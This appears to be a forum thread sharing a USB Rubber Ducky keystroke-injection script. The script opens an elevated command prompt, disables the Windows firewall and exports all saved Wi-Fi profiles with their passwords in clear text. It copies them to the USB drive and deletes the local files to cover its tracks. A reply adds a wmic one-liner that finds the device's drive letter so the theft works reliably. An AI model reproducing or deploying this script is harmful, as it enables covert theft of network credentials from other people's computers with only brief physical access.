Jump to content

Recommended Posts

Posted

All props to

Bucky67GTO

all i did was change his code some.

DELAY 2000
ESCAPE
CONTROL ESCAPE
DELAY 400
STRING cmd
DELAY 400
CTRL-SHIFT ENTER
DELAY 400
LEFTARROW
DELAY 400
ENTER
DELAY 400
STRING netsh firewall set opmode mode=disable
ENTER
DELAY 400
STRING cd %USERPROFILE%
ENTER
DELAY 400
STRING netsh wlan export profile key=clear 
ENTER
DELAY 400
STRING copy wi*.xml E:
ENTER
DELAY 2000
ENTER
DELAY 400
STRING del wir*.xml
ENTER
DELAY 200
STRING netsh firewall set opmode mode=enable
ENTER
DELAY 400
ALT SPACE
STRING c
Posted (edited)

The only criticism is that the Ducky doesn't always end up on E:\

Consider the following code, that searches for the drive label to get you the drive letter:

for /f %d in ('wmic volume get driveletter^, label ^| findstr "DUCKY"') do set myd=%d

then use %myd%, in place of e:/f:/g: whatever...

Notes: You need wmic installed (XP+ for this to work)

Edited by midnitesnake

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...